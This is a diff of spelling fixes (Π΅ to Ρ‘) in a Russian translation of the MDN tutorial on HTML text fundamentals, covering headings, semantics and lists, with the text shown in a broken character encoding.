-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² элСмСнт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{htmlelement("h1")}}:</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² элСмСнт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{htmlelement("h1")}}:</p>
<pre class="brush: html notranslate">&lt;h1&gt;Π― Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ истории.&lt;/h1&gt;</pre>
@@ -62,9 +62,9 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/HTML_text_fundamentals
&lt;p&gt; ΠšΡ€ΠΈΡ Миллс &lt;/ p&gt;
-&lt;h2&gt; Π“Π»Π°Π²Π° 1: ВСмная Π½ΠΎΡ‡ΡŒ &lt;/ h2&gt;
+&lt;h2&gt; Π“Π»Π°Π²Π° 1: Вёмная Π½ΠΎΡ‡ΡŒ &lt;/ h2&gt;
-&lt;p&gt; Π­Ρ‚ΠΎ Π±Ρ‹Π»Π° тСмная Π½ΠΎΡ‡ΡŒ. Π“Π΄Π΅-Ρ‚ΠΎ ΠΊΡ€ΠΈΡ‡Π°Π»Π° сова. Π”ΠΎΠΆΠ΄ΡŒ ΠΎΠ±Ρ€ΡƒΡˆΠΈΠ»ΡΡ Π½Π° ... &lt;/ p&gt;
+&lt;p&gt; Π­Ρ‚ΠΎ Π±Ρ‹Π»Π° тёмная Π½ΠΎΡ‡ΡŒ. Π“Π΄Π΅-Ρ‚ΠΎ ΠΊΡ€ΠΈΡ‡Π°Π»Π° сова. Π”ΠΎΠΆΠ΄ΡŒ ΠΎΠ±Ρ€ΡƒΡˆΠΈΠ»ΡΡ Π½Π° ... &lt;/ p&gt;
&lt;h2&gt; Π“Π»Π°Π²Π° 2: Π’Π΅Ρ‡Π½ΠΎΠ΅ ΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΠ΅ &lt;/ h2&gt;
@@ -79,15 +79,15 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/HTML_text_fundamentals
<ul>
<li>ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>&lt;h1&gt;</code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π½Π° страницС β€” это Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ самого Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, ΠΈ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½ΠΈΠΆΠ΅ Π΅Π³ΠΎ Π² ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ.</li>
- <li>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ порядкС Π² ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ.Β  НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>&lt;h3&gt;</code> для создания ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΏΡ€ΠΈ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΌ использовании <code>&lt;h2&gt;</code> для прСдставлСния ΠΏΠΎΠ΄-ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² β€” это Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ странным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ.</li>
- <li><span id="result_box" lang="ru"><span>Из ΡˆΠ΅ΡΡ‚ΠΈ доступных ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ€Π΅Ρ… Π½Π° страницС, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π΅ чувствуСтС, Ρ‡Ρ‚ΠΎ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</span></span> <span id="result_box" lang="ru"><span>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с большим количСством ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉΒ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ с Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠΉ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠ΅ΠΉ) становятся Π³Ρ€ΠΎΠΌΠΎΠ·Π΄ΠΊΠΈΠΌΠΈ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌΠΈ для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ.</span></span> <span id="result_box" lang="ru"><span>Π’ Ρ‚Π°ΠΊΠΈΡ… случаях рСкомСндуСтся Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΏΠΎ нСскольким страницам, Ссли это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</span></span></li>
+ <li>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ порядкС Π² ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ.Β  НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>&lt;h3&gt;</code> для создания ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΏΡ€ΠΈ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΌ использовании <code>&lt;h2&gt;</code> для прСдставлСния ΠΏΠΎΠ΄-ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² β€” это Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ странным Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ.</li>
+ <li><span id="result_box" lang="ru"><span>Из ΡˆΠ΅ΡΡ‚ΠΈ доступных ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ€Ρ‘Ρ… Π½Π° страницС, Ссли Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ Π½Π΅ чувствуСтС, Ρ‡Ρ‚ΠΎ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</span></span> <span id="result_box" lang="ru"><span>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с большим количСством ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉΒ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ с Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠΉ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠ΅ΠΉ) становятся Π³Ρ€ΠΎΠΌΠΎΠ·Π΄ΠΊΠΈΠΌΠΈ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌΠΈ для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ.</span></span> <span id="result_box" lang="ru"><span>Π’ Ρ‚Π°ΠΊΠΈΡ… случаях рСкомСндуСтся Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΏΠΎ нСскольким страницам, Ссли это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</span></span></li>
</ul>
<h3 id="Π—Π°Ρ‡Π΅ΠΌ_Π½Π°ΠΌ_Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ°_структура">Π—Π°Ρ‡Π΅ΠΌ Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° структура?</h3>
-<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° этот вопрос, Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° </span></span> <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a>Β β€”<span lang="ru"><span>Β ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° для этой ΡΡ‚Π°Ρ‚ΡŒΠΈ (Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ Ρ€Π΅Ρ†Π΅ΠΏΡ‚ хумуса).</span></span> <span id="result_box" lang="ru"><span>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ копию этого Ρ„Π°ΠΉΠ»Π° Π½Π° своСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π°ΠΌ понадобится это для ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ ΠΏΠΎΠ·ΠΆΠ΅.</span></span> <span id="result_box" lang="ru"><span>БСйчас Ρ‚Π΅Π»ΠΎ этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° содСрТит нСсколько Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° β€”Β ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΎ ΠΎΠ½ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Ρ€Π°Π·Ρ€Ρ‹Π²Π°ΠΌΠΈ строк (Π±Ρ‹Π» Π½Π°ΠΆΠ°Ρ‚ Enter / ReturnΒ  для ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку).</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° этот вопрос, Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° </span></span> <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a>Β β€”<span lang="ru"><span>Β ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° для этой ΡΡ‚Π°Ρ‚ΡŒΠΈ (Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ Ρ€Π΅Ρ†Π΅ΠΏΡ‚ хумуса).</span></span> <span id="result_box" lang="ru"><span>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ копию этого Ρ„Π°ΠΉΠ»Π° Π½Π° своём локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π°ΠΌ понадобится это для ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ ΠΏΠΎΠ·ΠΆΠ΅.</span></span> <span id="result_box" lang="ru"><span>БСйчас Ρ‚Π΅Π»ΠΎ этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° содСрТит нСсколько Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° β€”Β ΠΎΠ½ΠΈ Π½Π΅ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Ρ‹ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΎ ΠΎΠ½ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ Ρ€Π°Π·Ρ€Ρ‹Π²Π°ΠΌΠΈ строк (Π±Ρ‹Π» Π½Π°ΠΆΠ°Ρ‚ Enter / ReturnΒ  для ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку).</span></span></p>
-<p><span id="result_box" lang="ru"><span>Однако, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ тСкст выглядит ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ большой кусок!</span></span></p>
+<p><span id="result_box" lang="ru"><span>Однако, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ тСкст выглядит ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ большой кусок!</span></span></p>
<p><img alt="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it." src="https://mdn.mozillademos.org/files/14827/Screen%20Shot%202017-03-29%20at%2009.20.35.png" style="display: block; height: 377px; margin: 0px auto; width: 600px;"></p>
@@ -238,7 +238,7 @@ textarea.onkeyup = function(){
<h3 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_ΠΌΡ‹_нуТдаСмся_Π²_сСмантикС">ΠŸΠΎΡ‡Π΅ΠΌΡƒ ΠΌΡ‹ нуТдаСмся Π² сСмантикС?</h3>
-<p><span id="result_box" lang="ru"><span>Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ° проявляСтся Π²ΡΡŽΠ΄Ρƒ Π²ΠΎΠΊΡ€ΡƒΠ³ нас β€”Β ΠΌΡ‹ полагаСмся Π½Π° ΠΎΠΏΡ‹Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ рассказываСт Π½Π°ΠΌ, ΠΊΠ°ΠΊΠΎΠ²Π° функция Π±Ρ‹Ρ‚ΠΎΠ²Ρ‹Ρ… ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ²;</span> <span>ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²ΠΈΠ΄ΠΈΠΌ, ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊΠΎΠ²Π° Π΅Π³ΠΎ функция.</span> <span>Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΡ‹ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ красный свСт Π½Π° свСтофорС ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ «стоп», Π° Π·Π΅Π»Π΅Π½Ρ‹ΠΉ свСт ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Β«ΠΈΠ΄Ρ‚ΠΈΒ».</span> <span>Π–ΠΈΠ·Π½ΡŒ станСт ΠΎΡ‡Π΅Π½ΡŒ слоТной, Ссли ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΠ΅Ρ‚ΡΡΒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°ΡΒ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ°Β (ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ страны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ красный Ρ†Π²Π΅Ρ‚ для обозначСния Β«ΠΈΠ΄Ρ‚ΠΈΒ»? НадСюсь, Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚.)</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ° проявляСтся Π²ΡΡŽΠ΄Ρƒ Π²ΠΎΠΊΡ€ΡƒΠ³ нас β€”Β ΠΌΡ‹ полагаСмся Π½Π° ΠΎΠΏΡ‹Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ рассказываСт Π½Π°ΠΌ, ΠΊΠ°ΠΊΠΎΠ²Π° функция Π±Ρ‹Ρ‚ΠΎΠ²Ρ‹Ρ… ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ²;</span> <span>ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²ΠΈΠ΄ΠΈΠΌ, ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊΠΎΠ²Π° Π΅Π³ΠΎ функция.</span> <span>Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΡ‹ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ красный свСт Π½Π° свСтофорС ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ «стоп», Π° Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ свСт ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Β«ΠΈΠ΄Ρ‚ΠΈΒ».</span> <span>Π–ΠΈΠ·Π½ΡŒ станСт ΠΎΡ‡Π΅Π½ΡŒ слоТной, Ссли ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΠ΅Ρ‚ΡΡΒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°ΡΒ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ°Β (ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ страны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ красный Ρ†Π²Π΅Ρ‚ для обозначСния Β«ΠΈΠ΄Ρ‚ΠΈΒ»? НадСюсь, Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚.)</span></span></p>
<p><span id="result_box" lang="ru"><span>Π’ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌ ΠΊΠ»ΡŽΡ‡Π΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ элСмСнты, придавая Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ»ΠΈ внСшний Π²ΠΈΠ΄.</span> <span>Π’ этом контСкстС элСмСнт {{htmlelement ("h1")}} Ρ‚Π°ΠΊΠΆΠ΅ являСтся сСмантичСским элСмСнтом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ тСксту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΎΠ±Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π΅Ρ‚,Β  Ρ€ΠΎΠ»ΡŒ (ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅) Β«Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня Π½Π° вашСй страницС».</span></span></p>
@@ -258,7 +258,7 @@ textarea.onkeyup = function(){
<h3 id="НСупорядочСнныС">НСупорядочСнныС</h3>
-<p><span id="result_box" lang="ru"><span>НСупорядочСнныС списки ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для элСмСнтов, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… порядок Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния, β€”Β Π²ΠΎΠ·ΡŒΠΌΠ΅ΠΌ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, список ΠΏΠΎΠΊΡƒΠΏΠΎΠΊ:</span></span></p>
+<p><span id="result_box" lang="ru"><span>НСупорядочСнныС списки ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для элСмСнтов, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… порядок Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния, β€”Β Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, список ΠΏΠΎΠΊΡƒΠΏΠΎΠΊ:</span></span></p>
<pre class="notranslate">ΠΌΠΎΠ»ΠΎΠΊΠΎ
яйца
@@ -411,12 +411,12 @@ textarea.onkeyup = function(){
<h3 id="УпорядочСнныС">УпорядочСнныС</h3>
-<p><span id="result_box" lang="ru"><span>УпорядочСнныС списки — это списки, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… порядок элСмСнтов ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, β€”Β Π²ΠΎΠ·ΡŒΠΌΠ΅ΠΌ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ слСдования:</span></span></p>
+<p><span id="result_box" lang="ru"><span>УпорядочСнныС списки — это списки, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… порядок элСмСнтов ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, β€”Β Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ слСдования:</span></span></p>
<pre class="notranslate">Π”Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Π΄ΠΎΡ€ΠΎΠ³ΠΈ
ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΎ
-Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрСстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ
-ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрСсткС
+Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрёстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ
+ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°Π»Π΅Π²ΠΎ Π½Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ пСрСкрёсткС
Π¨ΠΊΠΎΠ»Π° справа ΠΎΡ‚ вас, 300 ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π²Π²Π΅Ρ€Ρ… ΠΏΠΎ Π΄ΠΎΡ€ΠΎΠ³Π΅</pre>
<p><span id="result_box" lang="ru"><span>Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ такая ΠΆΠ΅, ΠΊΠ°ΠΊ для нСупорядочСнных списков, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ элСмСнты списка Π² элСмСнт {{htmlelement ("ol")}} (ordered list), Π° Π½Π΅ &lt;ul&gt;:</span></span></p>
@@ -424,8 +424,8 @@ textarea.onkeyup = function(){
<pre class="brush: html notranslate">&lt;ol&gt;
Β Β Β &lt;li&gt;Π”Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Π΄ΠΎΡ€ΠΎΠ³ΠΈ&lt;/li&gt;
Β Β Β &lt;li&gt;ΠŸΠΎΠ²Π΅Ρ€Π½ΠΈΡ‚Π΅ Π½Π°ΠΏΡ€Π°Π²ΠΎ&lt;/li&gt;
-Β Β Β &lt;li&gt;Π•Π·ΠΆΠ°ΠΉΡ‚Π΅ прямо Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° пСрСкрСстка с ΠΊΡ€ΡƒΠ³ΠΎΠ²Ρ‹ΠΌ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ΠΌ&lt;/li&gt;
